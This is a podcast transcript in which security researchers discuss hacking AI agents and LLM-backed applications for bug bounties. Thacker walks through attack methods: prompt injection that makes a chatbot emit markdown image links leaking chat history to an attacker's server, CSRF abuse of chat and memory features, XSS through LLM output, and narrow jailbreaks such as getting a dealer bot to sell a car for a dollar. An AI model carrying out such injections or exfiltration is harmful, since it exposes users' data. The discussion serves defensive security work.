Joseph Thacker: [00:00:00] These AI pen tests are gonna add a lot of value in the sense that they're gonna be able to catch much more stuff at scale that we can't catch. But I've not seen one that could go out and even find 1% of vulnerabilities. So if you're willing to trust an agent that can't find 1% of vulnerabilities as your pentester, then sure agree to it.

But I think in general right now, humans are still gonna be at the forefront. I think they will be for a while, and then. They definitely will be as they're augmented by these systems, like we were just talking about. We're gonna have like copilots that basically make your top hackers even better hackers and even faster and even more efficient in the shortest term, like in the, the next two to three years.

Ashish Rajan: How do hack into AI agents and applications? This is a conversation with Joseph Hacker, who is a bug bounty hunter, currently focusing attention on enterprise AI application. You heard that right? He's been part of a lot of private programs where there are AI agents from enterprise available for bug bounty hunters and he spoke about something that he actually documented on his blog called How to Hack AI Agents and Applications as well, the different attack scenarios.

What are some of the common things he's been seeing across AI applications that he's [00:01:00] been invited for doing private bug bounty for and just how evolved the space has become, who are the people we should follow and a lot more in this conversation. Now, if you personally enjoyed this conversation and you know someone who's looking into exploring the whole AI agent and application hacking, definitely share this with them.

Maybe they're interested in the whole bug bounty space of AI application as well. Definitely share this with them. Now Joseph, apart from being a bug bounty hunter specializes these days on the AppSec and AI space as well. So definitely check out some of his other content too. However, if you are listening to AI Cybersecurity Podcast for the second time or third time, or maybe it's the first time and you really enjoy this episode, you can take a few seconds to show us the support by hitting the subscribe button on whichever audio platform, whether its Apple or Spotify or video platform like YouTube or LinkedIn that you're following this on. I would really appreciate your support in helping us grow our community over here. So if you could take a moment to hit on that subscribe or follow button. I really appreciate that. Enjoy this episode with Joseph and I will talk to you soon.

Yes. Welcome everyone to another episode of AI Security Podcast. Today we're talking about hacking AI agents and applications. I've got Joseph here. Hey [00:02:00] man, thanks for coming in.

Joseph Thacker: Yeah, yeah, super excited to be here. Of course really enjoyed our last episode with Daniel. But excited to talk to you all again.

There's been a lot of change in the last, six, eight months,

Ashish Rajan: Feels like years have pause in the AI world. So maybe just to set some context for people. Would you mind introducing yourself with what you've done so far and I guess what got you into this whole AI security world, man?

Joseph Thacker: Sure.

Yeah, so I guess I'm probably most well known for doing bug bounty stuff. I've been a top bug bounty hunter for five or six years. I worked at a company until recently called AppOmni which is the market leader for SSPM, so SaaS security, posture management stuff. My last year there I was doing like principal AI engineering work where I built our, basically chat with your data style AI chat bot.

Thing for the last two or three years I've been doing a lot of AI stuff on the side, hacking AI and also just using it in general. So I think that drove a lot of cool, like private programs, private bug bounty programs and private like challenges and consulting gigs around hacking AI stuff from like a security perspective more [00:03:00] specifically because I think there's still very few people who are talking about what I call AI AppSec. I know that you all get that's the point of this pod, people still lean towards AI security as their focus or as what they think a lot more about when they're talking about AI models.

I posted, you know about that a while ago. I'm on HackerOne hacker advisory board. I'm like a HackerOne brand ambassador. I still also hack on Google and I. I won like a most valuable hacker at a Google AI hacking event, and I'm going to another one in Tokyo next month. So do a lot of little, a lot of different things.

Oh, I'm also the co-host of the Critical Thinking Bug Bounty podcast and I'm starting an AI series on there as well. So yeah, lots of ways to find my work. Is there anything you're not doing, man? Yeah, it's a lot. Honestly that's why I left my job, right? I just have so many ideas every day and it's man, I wanna be able to pursue these.

Yeah, I left the, I found me back in January so I could do, pursue all the little random.

Ashish Rajan: And maybe to set another layer to this, 'cause the blog you're referring to is called or is called How to Hack AI Agents and Application. And you mentioned AI AppSec 'cause specifically 'cause the [00:04:00] way people understand and talk about is their primary talk about the foundational models. I'm not gonna describe it, but how do you describe AI AppSec and how is that different from what generally people think about AI hacking?

Joseph Thacker: Yeah, I break it down into a few different things. I would say AI AppSec specifically, I think about just securing systems or applications that are using or plugged into AI models.

So if you have an AI feature that allows you to chat with an LLM or if there's an LLM that is actually doing some sort of data processing under the hood or many times it's doing just some sort of translation or converting things. I would consider all of that AI AppSec.

Generally these vulnerabilities besides the, some nuances around prompt injection, they still look like normal AppSec vulnerabilities, right? So in most of these AI applications, you could still get XSS, but it's the AI is actually either responding with the XSS payload or something in that manner.

And then there are lots of other traditional vulnerabilities like SSRF, CSRF, IDORs, remote code execution. So in general, I think most [00:05:00] people are gonna be familiar with those types of vulnerabilities. But in this case, it's either occurring in the part, in the component of it that is like AI related or the AI is actually assisting in some way to get that payload to execute.

Ashish Rajan: And would you say that the general population, that when they talk about jailbreak and RAG and system prompts, hey, I was able to do this. What is that referring to? I'm, and obviously people have watched the previous episode, they would know this, but maybe for who get introduced over here. Sure. What are these components for and how are they related to this AI AppSec while you're referring to?

Joseph Thacker: Yeah. I do think for a more specific breakdown, looking at the blog or some of your else's past content would be a great way to understand the differences. But I'll summarize it, but it can still be confusing because you can use. jailbreaks and prompt injections can overlap, right?

You might have a prompt injection payload that you're using in an application, which then actually jailbreaks the model in either a granular way for just to achieve the goal you have or in a more universal way that can get the model to respond with, to basically any query you have. So the way I define it typically is [00:06:00] a jailbreak is getting the model to do something that the developers or the model makers don't want it to do or say.

And then the prompt injection is more of a delivery mechanism for the actual exploit. What's confusing and I think that this will hopefully clear up a lot for the listeners, for just people in general who are confused. Chat apps are the primary way that we started using AI.

And it's confusing 'cause you have an interface to put in input so it doesn't feel like an injection. But I think if you can wrap your head around that being basically still considered prompt injection, then all of a sudden everything kind of aligns and it's easy to understand. It's just confusing because in the normal.

With SQL injection or XSS or whatever else in normal security injection implies you're getting a command in when you shouldn't be able to. And I think in this case, we designed our first AI apps to actually have kind of that execution as the major feature. And so people don't feel like, it doesn't feel like an injection to them.

But I would just say that I still consider a malicious payload that [00:07:00] a user's pasting in prompt injection into a chat app. Most people I think would define prompt injection more along the lines of indirect prompt injection where you're leaving a payload on your website and the AI scraping that and then being hijacked by that, or you're putting that payload in an object in the database or in your username in the application.

And then when the AI is processing that it becomes hijacked by that prompt injection payload. So yeah, I think that you can often, let's say that the you have an app that is used for helping sell you a car. We'll use Chevy as the example, right? And its goal is to just give you information.

It's not supposed to be able to agree to sell a car. And so you need a small narrow jailbreak to convince the model to do something. It's not, which is to, reply that it will sell you the car for a dollar and you're the prompt injection payload in that exact example was just the user chatting with it.

There wasn't any kind of indirect or external source.

Ashish Rajan: Yep. That kind of clarifies for me as well. And you mentioned you were doing bug bounty in the AI space for all the HackerOnes and everything. I'm curious now that we defined, the [00:08:00] difference between an ai, AppSec and I guess what the regular AI foundational, what people talk about.

What are some of the things you're seeing in terms of what are people. Are you still bug bounty hunting on foundational models or is it the AppSec or the AI AppSec? What are you working on researching when you do a bug bounty program on an AI system?

Joseph Thacker: That's a great question. Yeah, so some foundation model providers like Anthropic will hold private challenges on these bug bounty platforms where they do or they are looking for the kind of like safety style reports, right? So they might have flags that say, can you get the model to say this? Or, can you get the model to talk about that? And then they will actually pay for that, but they have to do it in a flag style because there's a near infinite variation of prompts that would work.

You can just remove the period. Oh, now that's a new payload you get paid. Again, it doesn't really make sense, right? It's like just the first hacker to be able to get it to do this one thing will then get paid. And I think that flag style is really nice for model providers like you're talking about.

But no, the majority of hacking I do is still [00:09:00] AppSec focused. These larger companies, these Fortune 100, fortune 500 companies will be deploying a new AI feature and they just want it tested really well, right? So they might run a private challenge and only invite certain people, or they might just send out a promotional email to all the people who are already in their private program and say, hey, we're releasing a new AI feature.

Can you go test on it? And so then those are the types of testing that I'm doing.

Ashish Rajan: But that testing is more AppSec focused rather. So it's a, it is an app, it's an existing system that we may have seen worked on for years, but now it has AI capability.

Joseph Thacker: Yeah. Yeah. The majority of them are like support widgets, right?

So it's, I'm sure you've tested or hacked on, or seen other people report vulnerabilities on like little chat widgets on websites, right? Because sometimes it's possible to access other users' questions or the, the conversation history between like support agents and other users. And so now a lot of this is incorporating some sort of LLM in the response.

Usually it's a handoff, right? Like it'll say the LLM might be categorizing it and then handing it off to an agent, or, sorry, yeah or handing it off to a [00:10:00]human agent. We have to be careful with the word agent these days, right? It might be actually handing it off to a human agent or other times it will just be the only thing that you can get a response from.

And so it can answer within its knowledge base and then it'll just tell you that it doesn't know if it doesn't know or what have you. And that's probably the most common feature, but I would say a lot of other big companies are now incorporating the chat with your data style features. So you know, they've got some sort of database on the backend for users or some sort of API and you can say things like, how many I don't know, pictures have I created in this app, or and what are the names of them and can I, how do I delete them? And it'll help you based on the RAG documentation that you were talking about, or just based on querying the database or API.

Caleb Sima: I do have two questions. Both are, I think, on opposite extremes. The first is in all of the testing that you've been doing. What do you think is probably the most common issue that you run into that okay, this is what I'm seeing, 80% of the time across these enterprises [00:11:00] and what's your recommendation around that?

And then the second follow up to that is I. What has been the most unique or interesting or fun AI little hack that you've done? Obviously names being barred, but just the description would love to hear it.

Joseph Thacker: Yeah, I would say that the most common thing, especially originally the larger companies are catching on, but I still think lots of smaller companies are gonna make this mistake, is allowing the LLMs to write like markdown image links.

Because if, because it, if it's pretty benign when it's only a chat app. And it's often used to render some sort of image that's been made by like a multimodal LLM. Let's say it's DALL·E 3 or something on the backend making an image and they want to be able to render it. It feels pretty benign and a lot of the libraries that these companies are using for their front end frameworks just come by default processing markdown into something pretty, because they obviously want these LLMs will often, one of bold things by using markdown with asterisk on each end or what have you.

And so when it's being rendered, it's not really a huge security [00:12:00]vulnerability if only the user chatting. But when you start incorporating tool calling like. Web searching or some sort of it's processing data. Then a prompt injection payload can actually get that chat bot to render an image URL that has like the chat history or a secret or something in the path or the parameters.

And because the user's browser will immediately try to load that image, it makes a little, image source tag on the, on the front end, it will make a request for that and therefore exfiltrate that chat history to the attacker server because the prompt injection payload told it to basically, link to the image on the attacker's server.

That's the most common one. The other two to three most common ones I would say are, and these are there's a large company, maybe one of the largest, that still has a CSRF vulnerability in their chat bot, and they are claiming that it's a feature because if you go to that website and you just put, q equals as like a Git param and you have like your question or your query, they want it to then just open and load even for free users. [00:13:00] And so what that means is it's by default vulnerable to CSRF which is cross site request forgery. So what that means is if any user were to go to a webpage that has a, an auto submitting form to this malicious or to this vulnerable company with that request, they could basically fill up the, or submit threads for that user and then, they would be basically controlling kind of your chat history there and they could potentially get persistent access if that same application also is able to set your memory.

And so some of these large organizations are like secure against that. For example, OpenAI will not let the first turn in a chat set memory, but future responses will set memory. So I think that's interesting. And I've just found, and the reason I mentioned this is because you wouldn't think that CSRF would be a common vulnerability for AI applications, but I found it so many times now.

It just feels common to me. And then the third one that I did wanna mention before we talk about a cool bug [00:14:00] is XSS because there's two problems. I think one, it feels to developers like it's they're not really considering AI or AI agents to be malicious actors, and so they don't expect them to respond with a malicious payload, right?

This is when they're not processing it in the same secure way that you wanna process, like user input. But you can pretty much treat these LLMs as unsafe actors and try to think through the lens of what is the most damage or what maliciously could they do that would have impact?

And so because of that, I think the other thing is that people are just trying to deploy AI apps quickly. And so they're very frequently just using some sort of like library or framework out of the box. And so then those might be vulnerable to XSS. But yeah, in the course Ashish attended, I told them, and I think this is like a good tip I even mentioned on the CTBB podcast was one really fun thing to do. If you're using like a in-house or a locally developed app and you wanna just like test for XSS, just tell a, tell the LLM to respond with 10 random XSS payloads but don't put them in a markdown block.

And usually that'll just get one [00:15:00] to pop like that. Because it's gonna create 10 different unique ones. And if they're not in the markdown block, then they're gonna be processed by the webpage. And so very frequently they'll pop.

Caleb Sima: Huh, interesting. So what do you think about, that kind of tips off a little bit in the, how is AI gonna change the pentesting model?

When you think about automation scanners, black box scanners there's always been this. I'm gonna call it rough DAST world that to me, feels so archaic. Do you think AI can reignite a better model similar to what you're saying here, AI can just generate and most likely it will pop.

You think you can get better tech here because of that?

Joseph Thacker: Yeah. So I actually did a TEDx talk on what I call hack bots. A lot of people just call 'em auto autonomous pentesting agents. I think that things are gonna change really radically. So I've met with probably eight or 10 of the hack bot founders from like Kraken AGI and I actually haven't met with XBOW yet.

I think XBOW probably the premier one. They were founded by the guy who started [00:16:00] GitHub co-pilot. I think HackerOne's developing one internally. There's a, so there's a bunch of companies working on it, I think. Yeah, I think that they all have solved and cracked different pieces of the puzzle.

And it's already efficient under certain circumstances. I think in the next few years they're gonna be way more efficient when being driven by like a smart operator. If you imagine a top pentester is able to guide the agent in some way, like to say, nope, you're going down a false, like a false trail there actually switch and go look at this feature and kind of guide it in the same way you would in a conversation where you like stop and edit it and rerun it.

And change the prompt as you go. And that's possible in some of these products you're making, because I think right now some of these hack bots can spin their wheels long enough to find some bugs, but it's not just not token efficient. It's costs so much, right? Yeah. Because they're often, especially nowadays, if it's a big single page web app, it can't process all of that gigantic minified JavaScript into a single context.

So it's often using screenshots with browser use and, controlling the computer kind of the same way the OpenAI's operator would. And so that can be [00:17:00] pretty expensive. And so I think that in the short term we'll see like hacker assisted pentest bots. That'll be like really good. And then I think long term that, yeah, I think hack bots really will start finding significant vulnerabilities, but it'll happen slowly.

Like we'll have a lot of time to adjust as an industry because I think initially they're gonna find 1% of all bugs. And that's gonna be huge for humanity. Like imagine being able to find 1% of all bugs across every website.

Caleb Sima: Yeah.

Joseph Thacker: Yeah. That's crazy.

Caleb Sima: It's the scale. It's the scale that really gives it the power.

Joseph Thacker: Yeah, exactly. And Bug Bounty allows them to pay for that execution. Normally, you wouldn't be able to like cost maybe some big provider like Microsoft or AWS, somebody would be able to run it to provide value to society just in the background when they have servers that aren't running and that would be cool and all.

But I think the fact that there are a bunch of open bug bounty programs that are available to be hacked on by anyone will almost fund those initial runs. Because if you can create one that can run and find 2% of all vulnerabilities, a lot of those are gonna be on Google and Meta and et cetera.

And so those, you can get paid for [00:18:00] those vulnerabilities as well. And then use that to fuel the hack bot.

Caleb Sima: Yep. Yep. So some of the hack bot stuff to me the analogy seems very relevant to watching how AI coding tools exist today, right? Where you're using these sort of operators like Cline or Cursor in these various ways where they are more co-pilots to the engineer themselves, but allow them to go do, hey, I don't need to worry about documentation anymore.

I'm just gonna ask the AI thing to go document. I don't need to do my GitHub pulls and pushes. It'll just go and do these things for, I don't need to write these unit tests. This thing will just go do it. So similar, I feel you've got this, you almost need this sort of IDE, like for the pentester that allows 'em to do these same type things.

Just go do this, gimme back this info and let me help interpret. Is that sort of the way you're seeing this move?

Joseph Thacker: Yeah I believe that so much. That's why, part of the reason why we made shift, so me and Justin Gardner have made a plugin for Caido, which is like an up and [00:19:00] coming proxy. Kind of similar to Burp. Yeah. That can do similar things to what you're talking about. You can say send this request to repeater and change it from JSON to URL form encoder, and it just doesn't, burp is making similar strides. I know that they have this thing called Shadow Repeater.

They've got a bunch of AI features they're working on, but one is called Shadow Repeater, which I thought was pretty neat. And it basically will, if you've modified a request and repeater two or three times and the AI thinks you're clearly working on something, it'll just take that and run with it and go try to figure out that exact bug that you're working on.

Yeah. And so I think that those sort of things are really cool. Yeah. An upcoming feature for Shift that I'm excited about is more similar to what you're talking about, where hopefully you'll be able to have a little mini agent that you can say I'm trying to do this thing now.

I want you to go work on that specific small thing for me. Because like you were just saying, that's gonna be way more efficient than it just doing everything end to end.

Caleb Sima: And plus you, it's gonna be hard, like similar to coding, if you let it run too much, you end up with spaghettiness and it's gonna be very difficult to know what's going on, what you've done versus what you haven't.

Yeah. Versus in this, if you can, it can, you can [00:20:00] like iterate very quickly.

Joseph Thacker: Yeah, I think that the equivalent for that in hacking, and I think this is what a lot of hack bot founders are dealing with, is when you do just let it run and run the list of anomalous behavior that it finds like the number of 500, server errors that it gets, grows exponentially and now you're sitting on a bunch of potential leads or worrisome behavior, or false positives.

That now you have to end up going through it and it's just too much like you said

Caleb Sima: And you end up right back to where we started, which is a bunch of issues that someone has to go figure out how to go deal with. Yeah, exactly. Little on the AI hack bot aspect of things, one a, one area that seems to be, that I'm surprised I haven't seen a lot of is from the attacker side, which is, I would imagine at this point things like automated OS in and very personalized and even threatening sort of phishing emails have not really materialized. I have not seen this at least, or maybe I'm I could be definitely, I'm definitely, it could be outta the loop [00:21:00] around this starting to rise and actually we would've thought that this would've happened a year ago.

What have you seen, or do you, are you familiar with these things being taken advantage of yet?

Joseph Thacker: Yeah, I don't, I'm not plugged into like enterprise security very much. Where I would see those kind of attacks at scale, I'm sure that they are occurring. My gut says that the key indicators for scams are pretty, well there's two things here, one is I think that the scammers often get the best ROI from people who are gullible. So it's counterintuitive for them to make it really good and make you and I fall for it because the point at which that they would get paid, we would then catch them, right? That's right. And so that's right.

Basically get wasting a false lead on us. But by having a really catchable or like a, bad kind of pretext, then people that do fall for that are gonna be way more susceptible to actually fall for it down the line. So maybe they're protecting themselves, if they were to implement better tested, it might have worse results.

But my other intuition says that things like, [00:22:00] let's say they wrote a much better phish email. The key indicators like the little indicators in Chrome or in Gmail or whatever your mail provider are really where they get caught more than the actual quality of the copywriting.

Yeah. And so I'm sure that like you and I have probably ignored some spam emails that might've been written by AI that would've been like higher quality than once we would've got two years ago. But we didn't notice because we just ignored it based on the header alone or based on the fact that it was from a random phone number 'cause no one even looks at their text messages from random numbers these days. And so I wonder if like we're catching them on these other key indicators. Alright, I'll stick to AppSec.

Caleb Sima: Let me ask you this. In the AI automation problem space, where do you think the sort of augmentation is gonna add the most value?

Let me give you an example. When I think about this, I think of like IDOR oh, AI would probably be really good because you've got hundreds and hundreds of API endpoints and different variations of this. Calling all of these with different types of permissions or potential tokens is exhausting, but AI should be able [00:23:00] to do this really well.

What do you think are gonna be the areas where it's gonna make the most progress in finding things that today is very tough.

Joseph Thacker: Yeah, I do think like you're, I think IDORs are great because you can effectively just swap one IDE that the app has seen with another one, or if it's, if it's an integer, can just increment it.

I think a lot of those kind of one and two step vulnerabilities are where AI's gonna thrive initially. The other thing is, I think there's any kind of vulnerability that can be found by processing the data. Let's say that it, that there are lots of small JavaScript files or if you can even chunk up larger JavaScript files to have them process.

So like looking for secrets, looking for kind of low hanging bugs is a really key part. I think that the harder ones, at least, that's like maybe step one. I think step two is gonna be ones that are still just like one step. So maybe it's some sort of XSS payload, but it requires a headless browser to run because it has to load the JavaScript in order for it to actually pop.

Then I think that'll be step two and then I think like the multi-step, multi like logic, either like logic flaws or authentication bypasses or those sort of things will come later. My [00:24:00] mind jumped to immediately when you said what it's best at is like where it's already saving me time is in like report writing.

Yeah. Yeah. And things like things that are rote CSRF creation like a CSRF, like proof of concept HTML file. So if you so I, the way, what I did was I basically hooked up our bot and discord where I can give it a raw HTP request straight from Chaido or Burp and it will convert it to a CSRF POC.

Then it will host it on my server. Then it will send me back a link that I can just paste on the report so it save time. Because the LLMs is like writing the payload and giving and then hosting it for me, and then giving me the link and I can just test it really quickly. And then I can just drop that link and the path or the the file name is like a UUID, so it is a, it's a expose to the internet where someone could technically find it, but it's not really feasible for them to brute force and find it. So then I can just leave those up for as long as I want and go clear them out once a year or something.

Caleb Sima: Oh, so it's what you know, that's interesting. So what you're saying is what LMS could also [00:25:00] be very good at is generating exact POC scripts for all of your issues versus just writing about it and saying, here's how you recreate. You could just actually just hand over a script code that this thing auto generates for the engineer to replicate the problem. Right away.

Joseph Thacker: Yeah. Actually, I know you all have a lot of enterprise clients that listen, this would be huge.

So recently, I'm sure you all know what Nuclei is for listeners that don't. Nuclei is a tool from Project Discovery that allows you to like pinpoint and find either check for or exploit specific vulnerabilities. They can be sometimes multi-step. Usually they're one step, but. It can use certain headers or payloads or what have you.

So they just added a dash AI flag where you can describe in natural language the vulnerability that you want to check for and then it will convert it into a nuclei script. And what's really cool is it gives you the script right there on the command line, and then it also gives you a link to the same script in Nuclei Cloud that you can go and view and edit and rerun or test or whatever.

And I think that's really genius because like you said, it's taking natural language and it's also probably gonna let people who, [00:26:00] it saves everyone time. But if you just have a really cool idea and you're not like a nuclei expert, you can now use that to generate payload to check for things. Alright, circling that all the way back to your all's enterprise listeners, if you run a bug bounty program, you could actually just take those four.

Reports and pass them to nuclei-ai or write your own custom nuclei template writer and generate basically a nuclei template for every bug bounty report you've ever received to your program. And then go scan that against your infrastructure and maybe even your internal stuff and find a bunch of like vulnerabilities that are just sitting out there.

Caleb Sima: Or also to, one of the other challenges that you have in the enterprise is regression is, okay, we may have solved this once, but how do we know every single deploy we don't get regress.

Joseph Thacker: Yeah, yeah. Run those nucle templates against everything.

Caleb Sima: Every deploy. Yeah. That's right, and it gives me something easy for the engineers to check for, okay, this is fixed.

I don't need to go back and say hey, bug bounty person. Validate that we fix this issue. We can just get the nuclei template, [00:27:00] run it. Also, run it in an automated way every single time.

Ashish Rajan: I would also like to know is do piggybacking on what Caleb said earlier? Do the way people write code, do you see that change as well because you tested a few chat bots?

We are obviously, it's not just that the security people are using ai, it's being used on the developer side as well, and the code that you've been testing on bug bounty programs and otherwise, do you actually come across code that has just been hopefully not sent straight from a co-pilot into production pipeline, but you do come across changes in the way code is being developed or you're seeing it in the way it's being created.

Joseph Thacker: So I don't know if I would be able to notice that, like right now based on just like vibes or the reports I've seen. But there's no doubt that everyone's using AI to generate code. And I think at scale that is gonna create a lot of vulnerabilities in the near term. I do, I'm hoping that, GitHub or something will come out with an automatic PR, security checker that's AI related for everyone, and I think that would change the fundamental security of everything at some point.

I'm sure that, [00:28:00] that will come out, whether it's, I. Something that GitHub purchases or whether they develop it internally, but yeah, not something I've noticed directly. But I do know, and I'm sure you've noticed this, and I'm sure you've used AI to generate code, that it's not always necessarily looking for things like IDORs or auth bypasses.

Like it'll very happily set up a thing where a single token can access all the data for any user. And so you

Caleb Sima: just like any average developer, by the way, I might add

Joseph Thacker: That's true. That's true. It's just an intern like. I think Simon Willison says we could, we should consider LLMs to be like interns and you're exactly right.

Caleb Sima: Yeah. And, and I would also like to note that I feel like the most security people who code are also the least secure when they code. Yeah. I would like to.

Joseph Thacker: Most security people I know are not great developers, right? Yeah.

They're usually like, nah, this is too high friction for someone to go through this much trouble. Like they're, they do the compute of risk in their head, they're like, ah. I'll fix that. I'll figure that out later.

Caleb Sima: Wait, actually, but on the same note, 'cause I think obviously a lot of enterprise still have a lot of legacy code as well. I think I was talking to one of [00:29:00] the, let's just say financial institute based out of the US and they had a let's just say a RAG database connected to an internal database with financial transaction and non-sensitive, as I'm put in quotes over here, air quotes in terms of legacy code being enhanced with AI, are you seeing anything there as well? Is there, like obviously there is a known tech debt of all the vulnerabilities that a company needs already any given point in time.

Now you attach an AI to it, which makes like a fire hose of I, in my mind, it increases the likelihood of more shit coming out. But are you finding any legacy applications being, put into bug bouncy programs for, hey, what's the vulnerability here in legacy codes?

In terms of with AI capability?

Joseph Thacker: Yeah. I don't know directly with how AI would handle these. I do know that if this feels funny, but I think that it seems to me like AI models can definitely tell when they've written code versus when some, janky human has written the code. And so that's interesting 'cause I would wonder if it would be more likely to write and to incorporate vulnerabilities in code when it has a bunch [00:30:00] of human written code in the context. Yeah. What I'm imagining is exactly what you're talking about. You're using some sort of AI based IDE to work on like a legacy code base. Yeah. And you're loading up three or four files in the context, or it's automatically pulling a bunch of files in the context.

And there's already latent vulnerability setting in there. And it's like kind of copying that code because it's gonna be very in the distribution as it's trying to write new functions that are like basically reusing little parts and components from the code that's already there. That would be a really interesting area of research.

And I haven't seen anything specifically about that, but I think that if anyone is interested in AI security research, that'd be something really cool if they would basically ask the AI to write some code for that does X and then ask some ask the AI to write some code that does X, but give it a bunch of, vulnerable human code in the context above and see like how much it incorporates versus how much it like calls you out on.

I'm gonna incorporate this, but by the way, you've got some security vulnerabilities up here and I'm gonna go fix those too. I'm sure. Fix that for you. Yes. Claude 3.7 would do that. It is overly, and it is, it's such [00:31:00] high agency,

it's everyone's complaining. It's like you got a reign Claude 3.7 in, it's like a yes. It's very ambitious. It's

I also did your dishes and followed your laundry.

Caleb Sima: So anything else? It's it's AI on Adderall is the.

Ashish Rajan: If with the legacy code and co-pilots being used. So it sounds like a lot of the newer comp, newer applications are the ones being enhanced by this. 'cause a lot of conversation that I'm coming across I spoke to a few AI security companies as well. They're talking about red teaming to, going back to what Caleb saying earlier about a, probably a glorified DAST, for lack of better word, there's definitely a lot of AI driven red teaming being promoted.

And you're talking about how the, I guess quote unquote, the mitigation of this. Should be much more than just looking at jailbreaking and prompt engineering as the only point of defenses. Are you seeing, maybe going a step further in the examples you gave us earlier what are some of the ways people can actually start building it the right way as well?

Caleb Sima: So can, yeah, Could I inject as one [00:32:00] thing and also maybe want to clarify, AI red teaming can mean I think two different things now. Oh yeah. AI red teaming can be, Hey, let's try to break. An LLM or AI component, or AI is the, what we were just talking about, which is using AI to pentest

so which one are you talking about? Ashish? Yeah.

Ashish Rajan: I'm, you're talking about the first one, I'm seeing is they're using AI to drive red team. Oh. As like the, it's the instigator, for lack of a better word. It's not the ones who is. Hey, I can a red team at LLM. It's actually the LLM being the red team and creating chaos and all of that.

Caleb Sima: See, that's what I knew. I was like, wait a minute. There's two. There's two definitions. Yeah.

Ashish Rajan: Now I Good to clarify. It's funny, like to what Joseph said, agent just means two different things now. It's not even just AI agent, now, it's a human agent. I don't know, operator, agent.

Joseph Thacker: Anyway, sorry. It gets very confusing to talk about.

Yeah, I agree. And I, my answer actually talks about both of what you're talking about. So the best way, in my opinion, to red team an AI system from like a safety [00:33:00] perspective or what I would almost consider is like policy testing or like code of conduct testing. Like a lot of these companies don't want their LLM to talk about these things or talk about these things or tell the user this, or tell the user or that, and like they wanna make sure that it's always correct with this documentation that is pulling in the right RAG to answer these questions properly. So from that red teaming perspective, I think that the best product on the market is Haize Labs. But the second one I've seen like upward coming up and rising is called White Circle AI. These two companies are doing, and so this is the second part of your piece. They're doing AI red teaming using AI to red team. So they are basically they have some algorithmic code generation, or I guess more like natural language generation on their side where they generate dozens or hundreds of payloads to test your AI application against whatever code of conduct or policies that you set for it.

So if you say, it should never be, it should never say anything racist, then it should never talk bad about company acme.com or whatever. Then they will do their best with their AI systems to generate payloads that would actually get it to do that. [00:34:00] In an automated fashion. So that's really cool.

And you can run regression tests. So as you change the prompt, as you change your system, that would all work out. They are mostly white box now, so you have to plug them into your code. Or they can do model testing where you like, set it up with a core model. I think very, hopefully very soon they'll have black box testing where you can basically say.

Here's our web widget on our website, go test it for policy violations. We don't ever want it to agree to give away a car for a dollar or whatever, and then CH could go buy that from them and then test it, right?

Caleb Sima: Yep. And Haize actually has some pretty cool stuff if you look that how do you even come up with unique prompts, like for example.

Take Joseph's Ford issue. Hey, this is a very particular kind of problem with this chatbot and so most people think it takes a lot of work to even come up with what are you trying to achieve in getting, being able to do that? Hey, you can just, as a user, you can just go in and say, hey, this is like we're, we don't wanna sell things like we're [00:35:00] selling a car and we're a car dealership, and this is we wanna make sure things are online and it will auto generate the attack methodologies and risks for you.

So it'll say, oh, you're a car dealership or you're a car company and you have a chat bot for support. These are the 30 things that you probably don't want users to do to keep your thing in a line. Do you agree with this? And they look at this and they go yes. Or Hey, can you generate more of this type?

And it will auto gen those and then it will generate the tests automatically to go test it. So it's really fascinating how far this has come where you know now you don't even have to, you can just say, this is the purpose of my website. This is what I'm selling. This is what the kind of functionality it has and it will go and do all the threat taxonomy automatically for you.

Ashish Rajan: That's scary, man.

Joseph Thacker: Yeah. I want that kind of product for everything, right? I want that product in, I guess in some ways Amazon has it, but I want that product in everything. I'm, that's what cursor and other IDEs give you when they're giving you the tap [00:36:00] completion or whenever they're giving you like, different things to select from, to like insert into your code, right?

These kind of like smart suggestions are a place where AI models are gonna continue to enhance like every area, I think.

Caleb Sima: Yeah. So then how do you then do this with the pentesting bug bounty side too? Is what you're doing is okay, we are doing more completions, more auto suggestions, more task work to go do.

Joseph Thacker: Yeah, that's right.

Ashish Rajan: It sounds like it's obviously all parts of tech are evolving with AI, which is no doubt there. In terms of how we are evolving, we clearly not at a stage where we are just gonna let this loose in any enterprise for that matter. And I think we already have a lot of backlog that most people talk, complain about.

You want, you don't want more backlog to, as you and Caleb were pointing out earlier, if you let it loose, you probably got a huge bunch more false positive deal with. Sure. And spend time going through it. In terms of how you see I guess pentesting being used as a assurance activity or even bug bounty as an assurance activity.

Currently, do you see a lot of people [00:37:00] consider methodologies as you're referring to the AppSec side? Because I feel a lot of the conversations that I've had about, Hey, I'm gonna test my AI systems, that more to, Hey, I'm gonna test OpenAI I'm gonna test Claude. But they're not talking about, to your point, the the vector database or the AI system itself for any existing AI application vulnerability that may be running there, are you seeing any trends there that, hey, you've started seeing a lot more? Cause I would've thought a lot of these AI apps stuff should have been picked up much earlier before it reached program. I know.

Joseph Thacker: Yeah. That's a great question. I think that. It should have been picked up a lot earlier too. I wrote a thing called Prompt Injection Primer for engineers like, I don't know, a year and a half ago or something.

And I was trying to raise the alarm then, and I still just, I don't even know if I still don't have the audience. I think this, at this point, I think it's just diluting and seeping into all of the model providers and all of these Fortune 10 companies. Like I think Amazon and Google and Meta are all thinking about AI AppSec now, but they weren't then.

And I was like shouting from the rooftops Hey, AI AppSec is gonna be huge. 'cause the vulnerabilities just change [00:38:00] whenever you incorporate AI into them. You're right though. I think lots of companies are still not thinking about it. Especially SMBs and maybe like more like your Fortune 1000, they're probably still putting sensitive data in their RAG database, right?

And they're gonna have to either have a bug bunny, hunter or pen test or eventually who knows how to find those types of vulnerabilities, find it. Lots of companies probably don't have their pentesters that they're hiring, knowing very much about AI vulnerabilities at all. So they're probably still lacking some coverage there.

Caleb Sima: It's, It's still an evolution. We're still so new. Yeah. People are still barely producing productized versions of anything AI. I think only the bigger companies really are, which is why you're starting to see probably more adoption there, but until this stuff starts becoming regular. It's just like cloud. There weren't really cloud security people until a couple years. It takes a while before these things really get created and

Ashish Rajan: used. I guess to your point, that also proves why so much so many AI applications are not in production as well. They just primarily all behind a paid, some kind of a internal paid wall or internal firewall.

Caleb Sima: Yeah, it's coming.

Joseph Thacker: Oh yeah. All I was gonna [00:39:00] say was, I think we probably talked about this last time I was on, was that yeah, like me and Johann Wunderwuzzi and like Geiger Shockey, these guys we like from the, like theoretically we knew these vulnerabilities were going to be present whenever we first saw how LLMs were working and the fact that people were going to plug in like tools or MCPs or whatever.

Yeah, and I think MCP security is gonna be really huge in the next year or two. Oh yeah. I haven't seen anybody going full in on it. I planned to and just like I'm still super busy. But I think that the way people are even installing MCP servers in these IDEs and in other clients are probably very insecure in the things that it can do and the things that it can access.

